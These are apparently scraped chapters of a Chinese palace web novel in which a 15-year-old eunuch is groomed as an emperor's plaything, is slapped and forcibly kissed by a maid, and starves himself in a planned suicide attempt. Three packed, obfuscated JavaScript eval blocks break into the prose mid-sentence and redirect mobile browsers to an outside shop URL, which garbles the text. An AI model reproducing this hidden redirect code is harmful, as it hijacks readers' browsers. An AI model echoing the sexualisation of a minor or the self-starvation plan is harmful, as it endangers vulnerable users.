“抬起头来。” 那低沉的声音再次响起,就在他前方不远处。 关禧不敢违抗,用尽了毕生的意志力,极其缓慢地,一点一点地,抬起了头。 视线最先触及的,是一双绣着精致龙纹的明黄缎面靴子,然后是杏黄色的袍角,绣着海水江崖纹。他的目光艰难上移,掠过腰间玉带,掠过胸前隐约的龙形,最终,避无可避地,对上了一双眼睛。 萧衍看上去比他想象中要年轻些,面容算不上多么俊朗,但线条清晰,肤色是久居深宫的苍白。最让人印象深刻的是那双眼睛,不大,眼尾微微下垂,瞳孔颜色很深,看人时没什么情绪,平静得像两口深潭,又带着令人无所遁形的淡漠。他就那么随意地坐在紫檀木龙纹宝座上,一只手搭在扶手上,指尖无意识地轻轻叩击着,目光平静地落在关禧脸上。 那是一种……评估,一种比对,在确认某件曾看过画像的物品,与实物的差异。 这种平静的审视,比任何带有情绪的目光都更让关禧恐惧,他感到自己脸上每一寸皮肤都在那目光下灼烧,那张属于小离子过于精致的皮囊,此刻成了最醒目的靶子。 萧衍看了他片刻,目光在他脸上逡巡,尤其在精致的眉眼和苍白的唇色上多停留了一瞬,“冯昭仪夸你做事细致。你读过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973400|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书?识得字?” 关禧暗中狠掐了一把自己的大腿,借这阵尖锐的疼逼出三分清醒,竭力让嗓音听起来平稳如常:“回陛下,奴才……奴才愚钝,只认得几个常用字,会写些简单的数目,是入宫后跟着管事的公公和姐姐们学的,勉强……勉强能应付差事。” 他不敢提任何关于诗或异常聪慧的字眼,只将自己按在最平庸,最不起眼的位置。 萧衍并不在意他的回答是否谦逊,目光转向了他身边那个被楚玉拾起后轻轻放在一旁的紫檀木匣。 “那里面,是什么?” “是娘娘吩咐奴才整理的,各宫近期的用度记录底档。”关禧连忙答道。 “打开。” 楚玉立刻上前一步,利落地打开了木匣,取出最上面两卷文书,双手恭敬地呈上。一名御前太监接过,检查了一下,才转身奉到萧衍面前。 萧衍用目光示意了一下。那太监便将文书展开,举着,让萧衍能看清上面的内容。 殿内只剩下书页翻动的细微声响。萧衍的目光在那些工整的字迹和清晰的数目上缓缓移动,脸上没什么表情。关禧跪在地上,只觉得时间从未如此漫长,每一次心跳都像是最后一搏。 过了半晌,萧衍才轻轻“嗯”了一声,听不出褒贬,“字迹还算工整。冯昭仪调理人,倒是用心。” 这句话,不知是在夸冯媛,还是在评价关禧本身。 关禧伏低身体,不敢接话。 萧衍也不需要他回答,视线在他低垂,露出的一小截白皙后颈上停留了一瞬。 “多大了?”萧衍忽然问了一个看似无关的问题。 关禧喉咙发紧:“回陛下,奴才……十五了。” “十五……”萧衍重复了一遍,指尖在扶手上轻轻敲击的节奏有了一丝极其细微的变化,“王元宝挑的人?” 关禧背上又冒出一层冷汗:“是王公公恩典。” 萧衍没再说什么,又静静看了他一会儿。那目光不再仅仅停留在脸上,而是缓缓下移,扫过他因为跪姿而略显单薄的肩背,紧窄的腰身,最后,在他腰间那枚最普通的承华宫低等太监牙牌上顿了一下,又移开了,轻轻“啧”了一声,声音低得几乎像是错觉。 然后,他移开目光,转向一旁静立的冯媛,语气恢复了之前的平淡: “冯卿协理宫务,诸事繁杂,底下人伺候着也需精心。朕瞧着这孩子,年纪是小了些,身子骨也显得单薄。到底是宫里当差,总这般憔悴清减,倒显得朕与冯卿不够体恤了。” 这话说得轻飘飘,仿佛只是随口一提的关怀。 但冯媛端着茶盏的手几不可察地稳了一稳,随即脸上绽开更加温婉得体的笑意,微微欠身:“陛下体恤下人,是他们的福分。是臣妾疏忽了,只想着他做事细致,倒忘了叮嘱他仔细将养。陛下放心,臣妾日后定当多加留意,让他好生调理,免得……失了体面,辜负了王公公当初一番精心挑选,也辜负了陛下今日垂问。” 冯媛的回答同样滴水不漏,将皇帝的关怀接了下来,并巧妙地再次点出了王公公精心挑选和皇帝垂问这两个关键信息。她承诺会多加留意,好生调理,至于调理成什么样,为什么需要调理到不失体面,彼此心照不宣。 萧衍对冯媛的领悟力很满意,点了点头,目光再次掠过跪在地上听得心惊胆战的关禧,端起手边的茶盏,轻轻啜了一口。 这就是送客,或者说,意味着关禧可以退下了。 御前太监立刻对关禧使了个眼色。 关禧如蒙大赦,连忙深深叩首:“奴才告退。”他保持着躬身的姿态,低头,一步一步向后退去,直到退出殿门,重新踏入庭院相对清冷的空气中,才感觉那扼住喉咙的无形之手稍稍松开。 楚玉也退了出来,走到他身侧,“回去。今夜之事,勿与人言。” 关禧僵硬地点头,转身逃离。 背后,承华宫正殿的灯火依旧通明,大门缓缓合拢。 殿内,萧衍又饮了一口茶,指尖在扶手上轻轻敲击了两下,目光投向虚空,好像在思考什么,又好像只是片刻的走神。新科状元的诗才与风姿犹在眼前,是此刻更值得品味的新趣。至于这个看着还有些稚嫩且过于苍白的小太监……不过是一枚暂且寄放在别处,需要再养养润色的玩物罢了。 来日方长。 冯媛垂眸看着手中茶盏里微微晃动的澄澈茶汤,水面倒映着煌煌烛光,也映出她平静无波的眼底深处,那一丝冰冷的了然。 35.第 35 章 次日清晨,天光刚透进承华宫精致的窗棂,楚玉便悄无声息地出现在关禧小屋门外。 叩门声很轻,三下,不急不缓。 关禧几乎一夜未眠,眼下乌青深重。听到敲门声,他挣扎着从床上坐起,整理了一下身上皱巴巴的衣,哑声道:“请进。” 门被推开,楚玉端着个托盘走进来。托盘上放着一碗热气腾腾的白粥,几碟清淡小菜,还有一小碟切得极精细的酱菜,她的目光在关禧惨白的脸上停留片刻,语气如常平静:“娘娘吩咐,让你这几日不必去书斋了。先把这些吃了,好好歇着。” 关禧愣住,看着那明显比平日精致许多的早饭,心头涌起复杂情绪:“这……谢娘娘恩典,谢谢楚玉姐姐。”他顿了顿,还是忍不住问,“昨夜……后来……” “昨夜无事。”楚玉打断他,将托盘放在桌上,“陛下与娘娘说了会儿话便起驾回宫了。倒是你,陛下临走前,特意提了你身子单薄。” 关禧心头一跳,手指无意识地抓紧了被褥。 “娘娘体恤,已经吩咐了,让我去请太医署的张太医过来,给你好生瞧瞧,仔细调理。”楚玉的语气平淡得像在说今天天气不错,“张太医是太医署的老医正,最擅调理内虚体弱之症,给不少主子都看过诊,嘴也严实。你且等着,我先去禀报娘娘,稍后便带人过来。” 说完,她也不等关禧回应,转身便走,留下关禧坐在床上,端着那碗还烫手的白粥。 请太医?专门来给他瞧病?调理? 他想起昨夜皇帝那句轻飘飘的“别显得朕与冯卿不够体恤”,又想起冯昭仪那滴水不漏的应答。这哪里是体恤,这是要将皇帝那句看似随意的话坐实,也是要将调理这件事放在明面上,既是对皇帝示好,也是…… 关禧放下粥碗,胃里一阵翻搅,毫无胃口。 约莫半个时辰后,楚玉去而复返,身后跟着一个头发花白,面容清癯的老者,穿着深青色太医官服,肩上挎着个半旧的药箱。正是张太医。 张太医进了屋,目光温和地扫过关禧拘谨不安的脸,又看了看这简陋但还算整洁的小屋,微微颔首,对楚玉道:“青黛姑娘,老朽诊脉望色,需得安静。可否……” 这是委婉地请楚玉回避。在宫里,即便是太监看病,涉及到下身隐私伤处,宫女在场也多有不便。 楚玉神色不变,只对关禧道:“张太医医术高明,你仔细配合便是。”又转向张太医,福了一礼,“有劳张太医了,娘娘那边还等着回话,我就在外面候着,有事随时唤我。” 说罢,她退了出去,轻轻带上了门。 屋内只剩下关禧和张太医两人。 关禧坐在床沿,手指紧紧抓着床单,指尖泛白,他每一次呼吸都带着难堪的颤意。 张太医将药箱放在桌上,慢条斯理地打开,取出脉枕,银针,小瓷瓶等物,摆在一旁。他走到关禧面前,在楚玉方才搬来的绣墩上坐下,目光平和:“小公公不必紧张,老朽行医数十载,什么症状都见过。你且放松,先让老朽看看脉象。” 他的声音温和,稍稍缓解了关禧紧绷的神经。 关禧僵硬地伸出手,放在脉枕上。张太医三指搭上他的手腕,闭目凝神,片刻后,又让他换了另一只手。过程中,张太医眉头微微蹙起,偶尔睁开眼,仔细打量关禧的面色,舌苔。 “脉象细弱,气血两虚,肝气郁结,脾胃不和。”张太医缓缓道,“可是长期饮食不调,忧思过度,加之……旧伤未愈,耗损了根本?” 关禧低低“嗯”了一声。 张太医收回手,看着他:“小公公,医者面前无讳疾。老朽奉娘娘之命前来,必要为你调理妥当。你且……褪下衣物,让老朽看看伤处恢复如何,才好对症下药。” 最后几个字,像冰锥刺进关禧心脏。 他浑身僵硬,手指死死抠着床沿,指甲几乎要嵌进木头里。褪下衣物……给一个陌生人看那最丑陋,最屈辱,最让他痛恨的部位…… “小公公?”张太医耐心地唤了一声。 关禧没有选择。 他颤抖着手,开始解腰间系带。 当最后一点遮蔽离开身体,将那因半割手术而残存,又因他自毁一拳而更显狰狞红肿的伤处彻底暴露在微凉的空气中时,关禧别过头,死死咬住了下唇,血腥味在口腔里弥漫开来。 张太医仔细观察了片刻,甚至还戴上特制的薄羊皮手套,极其轻缓地触碰,按压了周围组织,检查肿胀程度和皮温。 “伤口愈合尚可,但皮下有淤血积聚,血脉不畅,加之你本就体虚,故而红肿难消,疼痛持续。”张太医检查完毕,褪下手套,“此前用的金疮药还算对症,但力度不足。老朽这里有一瓶玉露生肌散,化瘀生肌的效果更好些,外敷。再开一剂内服的方子,益气养血,疏肝解郁,配合着用,好生将养月余,当可无碍。” 说罢,他看着关禧惨白的脸色,温和地补充道:“小公公,身体发肤受之父母,即便……有所损伤,亦是己身。善待之,方是长久之计。万勿再行自伤之举,徒增苦楚。” 关禧抬起眼,对上了张太医那双阅尽世情,洞悉一切的眼睛。那里面没有鄙夷,没有好奇,只有一种医者对人本身痛苦的悲悯,以及一丝了然,他显然看出了这伤不全是旧创,有新增自伤的痕迹。 这了然,比任何直接的质问都更让关禧无地自容。 他胡乱地点了点头,声音嘶哑:“谢……谢太医。” 张太医不再多言,起身走到桌边,提笔开始写方子,笔尖划过纸面的沙沙声,在寂静的屋内显得格外清晰。 关禧用最快的速度拉上裤子,系好衣带,手指依旧抖得厉害。 张太医写完了第一张方子,吹了吹墨迹,放在一旁。他略一沉吟,又从药箱里取出一张质地稍显不同,印着浅浅暗纹的纸张。 笔尖再次落下。 这一次,他写得比方才更慢,更仔细。药名与分量也更为特殊。 写罢,张太医将两张方子并排放置,待墨迹干透。他转过身,看向关禧,声音压得更低了些: “小公公,这第一张方子,是治你眼下气血亏虚、伤口淤肿之症,照方服药,仔细将养便是。” 他顿了顿,指尖轻轻点了点第二张暗纹纸笺。 “这第二张……是娘娘特意嘱咐,命老朽为你开的培元固本之方。其中几味药材颇为珍贵,太医署也需按例支取。此方需待你外伤痊愈、气血稍复之后,方可开始服用。” “此方专为调理内侍……精气神魄,固本培元。长期服用,可强健筋骨,滋养元气,于……于日后侍奉,大有裨益。” “侍奉”二字,他吐得极轻,却像重锤狠狠砸在关禧心上。 关禧不可置信地看着张太医,又看向那张暗纹方笺。培元固本?调理内侍精气?日后侍奉? 冯昭仪吩咐的……她不仅要治他的伤,还要把他调理得更好,更符合……皇帝的需要? 一股比方才检查身体时更甚的恶心与寒意窜遍全身,他感觉自己不再是一个人,甚至不再是一个有尊严的残损之人,而是一件需要精心打磨,修饰,以备呈上的器物。 张太医仿佛没看见他眼中翻涌的屈辱,将两张方子仔细折好,又将那瓶玉露生肌散放在旁边,温声道:“第一张方子的药,稍后自会有人煎好送来。这瓶药膏,每日早晚洁净后數用。至于第二张方子……”他略一停顿,“待你身体好转,青黛姑娘自会安排。” 说完,他提起药箱,对着关禧微微领首:“小公公好生歇着吧,万望珍重己身。” 他走到门口,拉开门。 楚玉安静地候在廊下。 张太医将两张折好的方子递给她,声音不高不低:“青黛姑娘,这是老朽为小公公拟的方子。这一张是治眼下之症,按方煎服即可。这一张……”他指尖在第二张暗纹方子上轻轻一按,“是娘娘特意嘱咐的培元方,药材有些特别,需按太医署的规矩来,待小公公外伤好了,再依时服用。” 楚玉神色不变,双手接过方子,指尖触及那暗纹纸张时几不可察地顿了一下,随即稳稳收好,又接过药瓶,福身道:“有劳张太医费心,娘娘那边,我会如实回禀。太医慢走。” 送走张太医,楚玉站在廊下,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977318|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在手中那两张质地不同的方子上,静立片刻。 第一张方子寻常,带着墨香和草药涩味,第二张暗纹纸笺却像一块烧红的炭,烫得她掌心发麻,每一个字都像针,刺着她早就冷硬的心肠。 “培元固本……日后侍奉……” 她能想象出冯昭仪吩咐张太医时,那温婉平静的语调下,是怎样一番冰冷精确的算计。也能猜到屋里那个人,在看到这张方子时,会是怎样一副崩溃又绝望的神情。 屋内死寂无声。 楚玉深吸一口气,压下心头那丝不该有的滞涩,抬手推门。 门扉“吱呀”一声,惊动了蜷缩在床沿,像被抽走了所有骨头的人。 关禧抬起头。 他脸上最后一点血色也褪尽了,只剩下一种濒死般的惨白,嘴唇被自己咬破了皮,渗着暗红的血丝。那双总是含着惊惶或偶尔一丝鲜活亮光的眼睛,此刻空洞洞的。 楚玉的目光与他对上,心头莫名一紧,面上却沉静如水,走到桌边,声音平淡:“张太医开了方子,药稍后会送来。这瓶玉露生肌散,每日两次外數,仔细些,莫要再……” “莫要再什么?”关禧忽然开口打断她,声音嘶哑得厉害,“莫要再想不开?莫要再糟蹋你们精心调理的货物?还是莫要再……摆出一副不情愿的样子,污了贵人们的眼?” 楚玉倏然抬眼,眸色沉了下去:“小离子,注意你的言辞。” “言辞?”关禧低低地笑了起来,“我的言辞怎么了?不是你们教我的吗?在这宫里,要看清自己的身份,要懂得感恩戴德,要乖乖做一枚听话的棋子。” 他撑着床沿,摇摇晃晃地站起来,挺直了那单薄的脊背,一步步,踉跄着走到楚玉面前。 “青黛姐姐,”他歪着头,用那种刻意拉长,讥讽的语调,每个字都像淬了毒的冰凌,“哦,不对,是楚玉。私下里,我可以叫你楚玉的,对吧?” “你们主仆二人,真是打得一手好算盘啊。把我从王公公那儿要过来,给我单独的小屋,给我体面的差事,给我若有似无的青眼,让我以为……呵,让我以为进了承华宫,抱上了冯昭仪的大腿,就能躲开那见鬼的侍寝,就能稍微像个人一样喘口气。” “结果呢?”他提高声音,因为激动而剧烈咳嗽起来,苍白的脸涨起病态的红晕,“结果是把我当猪一样圈起来养!养好了伤,调好了身子骨,再喂上这劳什子培元固本的好药!调理得白白胖胖、精气神十足,然后再打包得整整齐齐,送到那位陛下面前去!是不是?!” “冯昭仪协理六宫,真是体恤下人!体恤到连怎么让一个太监更好地去伺候男人,都安排得明明白白!” 他指着楚玉,手指抖得厉害,“还有你!楚玉!你知道的!你从一开始就知道王公公打的什么主意,知道冯昭仪把我弄过来是为了什么!你什么都知道!” “那你装什么?!在我差点被曹旺那杂碎糟蹋的时候,你出现得那么及时!在我以为走投无路,求你给条活路的时候,你让我叫你楚玉!在我因为那点不该有的心思,像个傻子一样自作多情、自惭形秽的时候,你看着我?你默许我靠近,又用那种眼神看我!为什么?!” “既然横竖都是要把我送到那张龙床上去,你们为什么不早说?!在我刚进承华宫的时候就告诉我!告诉我,小离子,你好好当差,等身子养好了,娘娘送你去享福!何必绕这么大一圈子?!何必给我希望,又亲手掐灭?!看我像个小丑一样挣扎,是不是特别有意思?是不是你们这些高高在上的人,独有的消遣?!” “看着我因为你一个眼神、一个名字就心神不宁,看着我为了那点可笑的羡慕和情分浮想联翩,是不是觉得特别可乐?” “楚玉,你们这套路,真是……真是他爹的老/母/猪戴/胸/罩——套又一套啊!先给点甜头,再画个大饼,中间穿插点若即若离的勾引,等我晕头转向了,再一巴掌把我扇醒,告诉我该去献身了!你们怎么不去搭台子唱戏呢?!嗯?!” “住口!” “啪——!” 一声清脆响亮的耳光,狠狠扇在了关禧的脸上。 36.第 36 章 力道之大,打得他整个人偏向一边,踉跄着撞在旁边的桌沿上,桌上的药瓶被带倒,“骨碌碌”滚到地上,发出沉闷的声响。关禧半边脸颊瞬间红肿起来,清晰地浮现出五个指印,火辣辣的疼,耳朵里嗡嗡作响,眼前一阵发黑。 “你知道你在说什么吗?”楚玉站在他面前,胸膛微微起伏,脸色白得吓人,“污蔑娘娘,妄测圣意,就凭你刚才那些话,我现在就能叫人进来,把你舌头割了,扔进慎刑司的蛇窟。” 关禧扶着桌子,慢慢直起身,抬手抹了一下嘴角渗出的血丝。他看着指尖那抹暗红,又抬起眼看向楚玉,脸上那疯狂讥诮的笑容不见了,只剩下麻木。 “割啊。反正早晚都是死,早死早超生。省得被你们当成玩意儿,调理来调理去,最后像块抹布一样用完了扔。楚玉,有本事你现在就杀了我。” 他这副全然放弃,引颈就戮的模样,比刚才激烈的控诉更让楚玉心头无名火起,还混杂着一股说不清道不明的焦躁和……刺痛。 “想死?没那么容易。”楚玉上前一步,伸手一把攥住了关禧的衣襟,将他狠狠拽向自己。 两人的脸近在咫尺,呼吸可闻。 “娘娘让你活,你就得活。陛下对你有兴趣,你就得把自己调理好,等着。这就是你的命,小离子。从你踏进这道宫门,不,从你被王元宝挑中的那天起,这就注定了。承华宫能给你一时的庇护,也能让你死得更合规矩。你那些胡思乱想,那些不该有的心思,除了给你自己招祸,屁用没有!” “是吗?”关禧被她攥着衣襟,勒得有些喘不过气,扯出一个极其难看的笑容,“那你的心思呢?楚玉?你明知我要去伺候皇帝,为什么还要那样对我?为什么给我希望?为什么……要让我觉得,你或许……”他后面的话没能说出口。 因为楚玉俯身,吻住了他的唇。 这不是关禧那次鲁莽的啃咬。这个吻带着惩罚的意味,粗暴,不容拒绝,碾磨着他的唇瓣,撬开他的齿关,攻城略地。她的手攥着他的衣襟,另一只手扣住了他的后颈,力道大得让他无法挣脱,也无法后退。 关禧的脑子“嗡”的一声,彻底空白了。 所有的愤怒,控诉,讥讽,都被这个突如其来的吻撞得粉碎。他僵硬地承受着,口腔里满是另一个人的气息,清冽又霸道,混合着铁锈味。他下意识地想要挣扎,扣在后颈的手却加重了力道,将他更紧地按向她。 这是一个扭曲的吻。无关情欲,或者说,不完全是。更像是一种宣告,一种标记,一种在既定命运碾压下,病态又无力的反抗。 不知过了多久,就在关禧觉得自己快要窒息的时候,楚玉一把推开了他。 关禧踉跄着后退,背脊撞上墙壁,才勉强没有摔倒。他大口大口地喘着气,嘴唇红肿,泛着水光,眼神涣散,脸上还残留着惊愕。 楚玉也微微喘息着,唇色比平时艳红,她抬手,用手背狠狠擦了一下自己的唇,眼神重新变得幽深,刚才那一瞬间的失控仿佛只是幻觉。 她弯腰,捡起地上滚落的药瓶,检查了一下没有破损,随即放在关禧身边的桌子上。 “药,按时用。从今天起,没有我的允许,不准踏出这屋子半步。好好调理,别再想那些没用的。” 然后,她转身,头也不回地离开了房间,重重带上了门。 关禧顺着墙壁滑坐在地上,浑身脱力。脸上火辣辣地疼,嘴唇又麻又痛,口腔里还残留着血腥味和楚玉的气息。他抬起手,摸了摸自己红肿的脸颊,又碰了碰刺痛的嘴唇。 方才那一吻的触感,清晰地烙印在感官上。 他忽然低低地笑了起来,笑声比哭还难听。 真……荒谬绝伦。 冯昭仪的棋盘,楚玉的复杂心思,皇帝的随意垂问,那张暗纹药方,这一切,像一张越收越紧的网,勒得他喘不过气。他曾以为承华宫是避风港,是逃离侍寝命运的跳板,现在才明白,这里不过是另一个更精致,更牢固的牢笼,而精心饲养他的目的,是为了将来将他更体面地献祭。 回现代。 这个念头从未如此刻般清晰,强烈。 与其留在这里,被调理,被玩弄,被当成货物一样献给一个心理扭曲的皇帝,承受比死更甚的屈辱,不如赌一把。 赌那个将他扔到这个鬼地方的规则,还能起作用。 他是怎么来的?熬夜,心脏剧痛,猝死。然后成了小离子。 那如果……如果这具身体也猝死了呢?灵魂是不是就能回去?回到那具或许还在医院,属于关禧的十七岁身体里? 之前他不敢赌,因为他还抱着希望,想在这个世界挣扎着活下去,寻找别的出路。现在,希望破灭了。前路只剩下一条被安排得明明白白,通往龙床的耻辱之路。 那还不如赌。 赌输了,大不了彻底消失,也好过那样活着。 赌赢了……就能回家。回到父母身边,回到有空调WiFi,有自由和尊严的现代。 这个疯狂的念头一旦生根,便像藤蔓一样疯狂滋长,缠绕了他所有的恐惧和犹豫。 怎么死? 上吊?投井?割腕?太明显,太容易被人发现阻止。而且,万一没死成,被救回来,处境只会更糟。他需要一种看起来像自然衰竭,像旧伤复发,像体弱不支的病死。 熬夜,过劳,加上这具本就气血两虚,旧伤未愈的身体,如果再不吃不喝,或者只吃极少的东西,让身体急速衰弱下去,会不会诱发类似心脏骤停的情况?小离子这身体底子这么差,应该不难。 他慢慢从地上爬起来,走到桌边,拿起那瓶玉露生肌散,塞到了床铺最底下。然后,他走到床边,脱了鞋,和衣躺下,拉过薄被盖好。 接下来的几天,关禧严格执行着自己的计划。 送来的汤药,他趁人不备,偷偷倒掉大半,只留下一点底子,做出喝过的样子。送来的饭食,他起初还勉强吃几口,后来便只动一两筷子,甚至原封不动地放凉。水也喝得极少。 他整日躺在床上,不是昏睡,就是睁着眼望着屋顶发呆,眼神空洞,对楚玉每日例行的查看,或者小太监送东西时的询问,都只以微弱的摇头或点头回应。 身体的变化是迅速的。本就苍白的脸色迅速灰败下去,眼底的乌青浓得化不开,嘴唇干裂,两颊肉眼可见地凹陷。因为摄入极少,他虚弱得连起身如厕都需扶着墙喘息半天,眼前阵阵发黑。下身的伤口因缺乏药物和营养,也隐隐有了反复的迹象,带来持续的低热和钝痛。 他清晰地感受着生命力从这具身体里一点点抽离,那种虚弱,眩晕,心脏偶尔的漏跳或骤紧,都让他既恐惧,又隐隐生出一丝扭曲的希望,快了,就快了,再熬一熬,或许就能触及那个临界点。 楚玉每日都来,有时一天来两三次。她总是端着药或食物,站在床边,静静地看着他。 起初,她以为他只是情绪抵触,加上伤势疼痛,胃口不佳。她耐着性子劝过两次,甚至亲手将粥碗递到他嘴边,关禧也只是闭着眼,偏头躲开。 后来,见他日渐消瘦,气息奄奄,楚玉的眼神渐渐变了。 她请张太医又来了一次。 张太医诊脉后,眉头紧锁,说脉象比之前更虚浮无力,似是忧思过度,水米不进,导致气血难继,有油尽灯枯之兆。重新开了更温补的方子,再三叮嘱必须进食。 药煎好了,饭食换着花样做得更精细软烂。可关禧依旧如故。 这天傍晚,楚玉再次进来时,手里没有端任何东西,她反手关上门,走到床边,居高临下地看着蜷缩在薄被里,没什么存在感的关禧。 屋里没有点灯,暮色昏沉,只有窗外透进来的最后一点天光,勾勒出她纤细却绷得笔直的轮廓。 “小离子。”她开口,声音有些冷硬,“你到底想干什么?” 关禧眼睫颤了颤,没有睁眼,也没有回答。 “绝食?以为这样就能逃过去?还是以为这样死了,就一了百了?” “我告诉你,”楚玉俯下身,凑近他,声音压得更低,却字字狠戾,“你想死,没那么容易。娘娘不会让你死, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982244|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下那边更不会允许。你信不信,我现在就能叫人进来,掰开你的嘴,把药和饭硬灌进去?或者,用参汤吊着你的命,哪怕你只剩一口气,也能把你调理得能爬起来,完成你的本分!” 关禧终于缓缓睁开了眼睛。 几天水米未进,他的眼神涣散,失去了焦距,干裂的嘴唇翕动,发出极轻的气音:“那……你就……灌啊……” 楚玉瞳孔微缩,盯着他看了几秒,直起身,走到桌边,拿起白日送来早已凉透的半碗米汤,又折返回来。 她一手端着碗,另一只手捏住关禧的下颌,力道不轻,迫使他抬起头,张开嘴。 冰凉的碗沿抵上干裂的唇。 关禧没有反抗,甚至顺从地微微张大了嘴,眼神空洞地望着上方。 楚玉的手顿住了。 碗里的米汤微微晃荡,映出她绷紧的下颌线。她能感觉到指尖下,少年下颌骨的嶙峋,和皮肤那种不正常的冰凉。 “你就这么想死?”她问,声音哑得厉害。 关禧扯了扯嘴角,露出一个比哭还难看的笑,气若游丝:“反正早晚都一样……不如早点……” “早点什么?!”楚玉猛地将碗掼在地上。 “哐当”一声脆响,粗陶碗碎裂,冰凉的米汤溅了一地,也溅湿了她的裙角。 “你以为死了就能解脱?就能回去?!”她脱口而出,话一出口,连她自己都愣住了。 关禧涣散的眼神骤然一凝,像垂死的人被注入了强心剂,聚焦在她脸上。 回去?她说什么?回去? 她为什么会用这个词?难道她察觉了什么?知道他不是真正的小离子?知道他来自另一个地方? 这个猜测让他本已死寂的心湖,骤然投下了一块巨石,激起惊涛骇浪。 如果楚玉知道,或者至少怀疑他的来历,那她的种种矛盾举止,是否就有了另一种解释?她对他的兴趣,那些若即若离的靠近和警告,甚至那个粗暴的吻,是否不仅仅是对一个玩物的掌控,还掺杂着对异常本身的探究,或者别的什么? 楚玉立刻意识到自己失言,猛地收声,脸色在昏暗中变幻不定,她扭开头,避开关禧那骤然锐利起来的目光,胸口起伏渐渐平复,重新披上那层冷硬的壳。 “想死,是这宫里最蠢的念头。”她转过身,背对着关禧,声音恢复了平静,“死了,就什么都没了。你的命,从来就不只属于你自己。至少现在,它属于娘娘,属于陛下的兴致。你没有资格决定它的结局。” “好好吃药,吃饭。别逼我用你不喜欢的方式。也别再做那些试图……用伤害自己来逃避的蠢事。我看得出来。” 说完,楚玉转身便要走。 可床榻上那原本奄奄一息的人,却像濒死的鱼挣动,竟不知从哪里生出一股力气,在楚玉指尖刚刚离开门扉的瞬间,挣扎着从床上滚落下来。 “砰”的一声闷响,关禧重重摔在地上,膝盖和手肘撞得生疼,眼前阵阵发黑,喉咙里涌上腥甜。可他顾不上了,他手脚并用地扑过去,颤抖的手指,死死攥住了楚玉转身欲走时扬起的淡青色衣摆。 “别走!” “说清楚,你说回去?回哪里去?你知道什么?!” 他仰着头,因为激动,颈侧青筋暴起,苍白的脸上那双凹陷的眼睛亮得吓人,死死盯着楚玉,像是溺水之人抓住了最后一根浮木,又像是囚徒终于窥见了铁窗外一丝不一样的风景。 楚玉被他拽得身形一顿,低头看向抓住自己衣摆的那只手。手指瘦得骨节分明,因为用力而毫无血色,颤抖得厉害,却攥得死紧。 她又看向关禧的脸。几日水米未尽,他脸颊深深凹陷,唇色灰败,唯有那双眼睛,燃烧着一种近乎癫狂的亮光,与她记忆中那些认命,麻木或野心勃勃的眼神都不同。 心,像是被那目光烫了一下,又像是被什么东西狠狠撞中,她绷紧了下颌,试图抽回衣摆,语气冷硬:“放手!我看你是烧糊涂了,满口胡言!我什么也不知道,只知道你再不吃饭吃药,就真要去见阎王了!” 37.第 37 章 “不!你知道!” 关禧死死拽着,指尖几乎要嵌进那柔软的衣料里,他急促地喘息着,胸口剧烈起伏,每一次呼吸都带着灼痛,“你刚才说了回去,你为什么会说回去?楚玉!你看出来了是不是?我和他们不一样,我和小离子不一样!” 楚玉确实早有怀疑。 从最早在净舍留意到这个容貌过盛,在高烧濒死中突然诈尸并爆出截然不同语汇的少年,到他被调入承华宫后,展露出的与出身不符的细致,识字能力,还有那两首意境迥异,绝非农家子能胡诌出的诗句,再到他某些时候过于异常的眼神和反应,对自己身体那种憎恶的疏离感…… 这一切,都指向一个惊世骇俗的可能。 宫中不是没有借尸还魂,孤魂野鬼附体的传闻,早年还有过妃嫔被指妖邪附体而被秘密处死的旧事。 楚玉见识过人心鬼蜮,对这些怪力乱神之说,信则有,不信则无。但她更相信自己的眼睛和直觉。 眼前这个人,或者说,占据着小离子这具躯壳的东西,绝非原本那个怯懦懵懂,只为求一口饭食活命的农家少年李景和。 她弯下腰,另一只手扣住了关禧攥着她衣摆的手腕,指尖用力,“我是看出来了,我看出来你不像小离子,李景和早就该死在净舍的草席上了,现在顶着这副皮囊的是谁?是哪里来的孤魂野鬼?还是什么山精妖魅?” 她盯着关禧骤然睁大的眼睛,一字一句,“这宫里,最容不得的就是你这种不一样,娘娘容你,是因为你还有用,因为你顶着这张脸,或许还能在陛下那儿换点好处。若让人知道这壳子里换了芯,是个不知来历的邪祟,你觉得你会是什么下场?烈火焚身?还是被打入暗牢,永生永世不见天日?” 关禧的身体颤抖起来,不是因为恐惧,而是因为……希望,楚玉信这个,她相信有孤魂野鬼,她至少接受壳子里换了芯这种设定,这就意味着,他最大的秘密,在这个世界并非完全无法理解,至少,在楚玉这里,有被认知的可能。 